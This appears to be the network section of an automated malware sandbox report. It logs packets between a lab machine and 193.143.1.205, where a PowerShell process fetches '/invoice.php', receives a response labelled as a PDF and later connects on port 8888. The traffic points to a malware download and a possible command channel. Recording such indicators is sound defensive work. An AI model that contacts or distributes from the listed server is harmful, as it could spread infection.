Jan 11, 2025 08:23:59.861037016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861063957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861229897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861242056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861252069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861262083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861272097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861303091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861332893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861485958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861496925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861510992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861541033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861569881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861788988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861800909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861812115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861820936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861830950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861843109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861850023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861852884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861860991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861882925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.861942053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.879004002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879091978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879101992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879146099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.879194975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879204988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879247904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.879337072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879348993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879388094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.879502058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879513979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879523993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879533052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879544973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879565001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.879616022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.879841089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879852057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.879894972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.891377926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891390085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891400099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891454935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.891516924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891563892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891573906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891577959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.891583920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891618967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.891801119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.891854048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.913403988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.913415909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.913425922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.913482904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.913566113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.913577080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.913602114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.913613081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.913638115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.913675070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.925576925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925587893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925597906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925637960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.925668001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.925765038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925776005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925831079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.925847054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925857067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925867081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.925900936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926059008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926069021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926079035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926089048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926100969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926111937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926115036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926143885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926172972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926383972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926394939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926445007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926537991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926547050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926556110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926567078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926575899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926584959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926589966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926594973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926608086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926619053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.926629066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926656008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.926677942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.927186966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927195072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927206039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927216053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927226067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927236080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927246094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927254915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.927254915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927265882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927275896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927275896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.927285910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927297115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927306890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927321911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.927323103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.927341938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.927380085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928035975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928045988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928061008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928071022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928081989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928092003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928101063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928102970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928113937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928122997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928124905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928158998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928190947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928675890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928693056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928714037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928725004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928734064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928738117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928745031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928755999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928759098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928766012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928776026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928786993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928797007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928797960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928807974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928819895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.928821087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928843021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.928864956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.929537058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929548979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929558039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929569006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929578066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929588079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929599047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929605961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.929609060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929620028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929626942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.929630041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929641962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.929675102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.929702997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.930466890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.930507898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.930519104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.947856903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.947953939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.947962999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.947973013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948033094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.948076010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948086023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948096991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948107004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948153973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.948182106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.948343039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948359013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948369980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948379993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.948414087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.948445082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.948524952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.952795982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.952806950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.952872992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.964603901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.969460011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.969472885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.969482899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.969533920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.969583988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.969930887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.974679947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.974745989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.974756002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.974796057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.974890947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.974900961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.974937916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.974946976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.974948883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.974978924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.975219965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.975230932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.975275040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.975359917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.975369930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.975418091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.978267908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.978327036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.978334904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.978344917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.978416920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.978499889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.978564978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.978574991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.978585005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.978610039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.978637934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.000191927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000351906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000361919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000368118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000385046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000394106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000406027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000478983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.000479937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.000524998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000534058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.000588894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.012614012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012639046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012650013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012710094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.012753963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.012826920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012839079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012849092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012860060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012871027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.012886047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.012913942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.013071060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013081074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013123989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.013201952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013211966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013221979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013231993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013241053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013257027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.013302088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.013494015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013508081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013518095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013528109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013539076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:00.013550043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.013578892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.053500891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.105977058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:00.591356039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:01.060112953 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:01.065066099 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:01.065138102 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:01.066020012 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:01.070888996 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:01.882472038 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 08:24:01.928462029 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 08:24:02.091249943 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:24:13.935833931 CET	60867	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:24:13.935833931 CET	192.168.2.4	1.1.1.1	0xccaa	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:24:13.366091013 CET	1.1.1.1	192.168.2.4	0x1925	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:24:13.366091013 CET	1.1.1.1	192.168.2.4	0x1925	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:24:13.943494081 CET	1.1.1.1	192.168.2.4	0xccaa	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	6976	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:23:58.455547094 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:23:59.266529083 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:23:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
